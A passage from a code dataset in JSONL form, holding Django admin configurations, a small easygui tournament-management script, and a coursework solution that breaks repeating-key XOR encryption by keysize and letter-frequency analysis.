\"date_modified\",\n \"comment_count\",\n \"last_comment_time\",\n ),\n },\n ),\n )\n\n\nadmin.site.register(Article, ArticleAdmin)\n","sub_path":"pepysdiary/indepth/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"620761124","text":"import firstattempt\nfrom easygui import *\n\ndef options():\n\tmsg='Pick something to do'\n\ttitle='Something to do'\n\tchoices=['New Group','Disp Groups','Make Schedule','Input Match Result','Show Scores','Save','Load Tournament','Qualify Groups','Quit']\n\tpick = buttonbox(msg,title,choices)\n\tif (pick=='New Group'):\n\t\treturn 1\n\telif (pick=='Disp Groups'):\n\t\treturn 2\n\telif (pick=='Make Schedule'):\n\t\treturn 3\n\telif (pick=='Input Match Result'):\n\t\treturn 4\n\telif (pick=='Show Scores'):\n\t\treturn 5\n\telif (pick=='Save'):\n\t\treturn 6\n\telif (pick=='Load Tournament'):\n\t\treturn 7\n\telif (pick=='Qualify Groups'):\n\t\treturn 8\n\telse:\n\t\treturn 0\n\t## end options button\n\t\n\nnumgroups=0\ng=[]\ngames=[]\nwhile 1:\n\t##show window with\n\t\t#have a small table with a group\n\t\t\t#within the group, list by ranking\n\t\n\t## this must be a button on a window\n\ta=options()\n\tif(a==0):\n\t\tbreak\n\t#add a group!\n\tif (a==1): \n\t\tg.append(firstattempt.new_group())\n\t\tnumgroups+=1\n\tif (a==2):\n\t\tfirstattempt.display_groups(g)\n\tif (a==3):\n\t\tgames=firstattempt.make_schedule(g)\n\tif (a==4):\n\t\tfirstattempt.input_games(g,games)\n\tif (a==5):\n\t\tfirstattempt.display_results(games)\n\tif (a==6):\n\t\t#save games\n\t\tfirstattempt.save_data(g,games)\n\tif (a==7):\n\t\t#load games\n\t\t[g,games]=firstattempt.load_data('saved_games.txt')\n\tif (a==8):\n\t\tfirstattempt.qualify_groups(g)\n\t#end \n\t\n\t\n\n\t\t\t\n\t\t\n","sub_path":"worldcup.py","file_name":"worldcup.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"509164151","text":"import math\nfrom base64 import b64decode\nfrom collections import defaultdict\n\nEXPECTED_FREQUENCIES = {\n 'a': .08167, 'b': .01492, 'c': .02782, 'd': .04253,\n 'e': .12702, 'f': .02228, 'g': .02015, 'h': .06094,\n 'i': .06094, 'j': .00153, 'k': .00772, 'l': .04025,\n 'm': .02406, 'n': .06749, 'o': .07507, 'p': .01929,\n 'q': .00095, 'r': .05987, 's': .06327, 't': .09056,\n 'u': .02758, 'v': .00978, 'w': .02360, 'x': .00150,\n 'y': .01974, 'z': .00074, ' ': .13000\n}\n\ndef challenge3(message):\n max_freq = -1\n max_dc = \"\"\n max_freq_i = 0\n for i in range(0, 256):\n curr_freq = 0\n dc = \"\".join(chr(ord(bit) ^ i) for bit in message)\n for character in dc:\n curr_freq += EXPECTED_FREQUENCIES[character] if character in EXPECTED_FREQUENCIES else 0\n\n max_freq, max_dc, max_freq_i = (curr_freq, dc, i) if curr_freq > max_freq else (max_freq, max_dc, max_freq_i)\n\n return max_freq_i\n\ndef challenge5(message, key):\n cipher = []\n for i in range(len(message)):\n cipher.append(chr(ord(message[i]) ^ ord(key[i % len(key)])))\n\n return ''.join(cipher)\n\n\ndef hamming_distance(seq1, seq2) -> float:\n seq1, seq2 = seq1.encode(), seq2.encode()\n hamming_distance = 0.0\n for i in range(min(len(seq1), len(seq2))):\n hamming_distance += sum([int(b) for b in bin(seq1[i] ^ seq2[i]) if b == '1'])\n return hamming_distance if len(seq1) == len(seq2) else 0\n\n\nmessage = b64decode(input().strip()).decode()\n\nkey_size = 0\nmin_score = math.inf\nfor size in range(2, 41):\n score_div = 0\n score = 0\n i = 0\n while i < len(message):\n score += hamming_distance(message[i: i + size], message[i + size: i + 2 * size]) / size\n i += size\n score_div += 1\n score = score / score_div\n min_score, key_size = (score, size) if score < min_score else (min_score, key_size)\n\nranges = [\"\"] * key_size\n# ranges = defaultdict(str)\nfor i in range(len(message)):\n ranges[i % key_size] += message[i]\n\nkey = ''.join([chr(challenge3(range)) for range in ranges])\n\nprint(challenge5(message, key))","sub_path":"Cryptography/assignment-1/challenge6.py","file_name":"challenge6.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"239021430","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.contrib import admin\nfrom .models import Category, SubCategory, Product, Store\n\n\nclass CategoryAdmin(admin.ModelAdmin):\n list_display = ['name', 'slug']\n prepopulated_fields = {'slug': ('name',)}\nadmin.site.register(Category, CategoryAdmin)\n\nclass SubCategoryAdmin(admin.ModelAdmin):\n list_display = ['name', 'slug', 'category', 'is_parent']\n prepopulated_fields = {'slug': ('name',)}\nadmin.site.register(SubCategory, SubCategoryAdmin)\n\nclass StoreAdmin(admin.ModelAdmin):\n list_display = ['name']\nadmin.site.register(Store, StoreAdmin)\n\nclass ProductAdmin(admin.ModelAdmin):\n class Media:\n css = {\n 'all': ('css/admin/product.css',)\n }\n list_display = ['name', 'subcategory', 'price', 'off_price', 'stock', 'available', 'store']\n list_filter = ['available', 'created', 'updated', 'subcategory', 'store']\n search_fields = ('name',)\n list_editable = ['price', 'off_price', 'stock', 'available', 'store']\n prepopulated_fields = {'slug': ('name',)}\nadmin.site.register(Product, ProductAdmin)\n","sub_path":"PLANome/planome/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"}
`` setup. We class a ``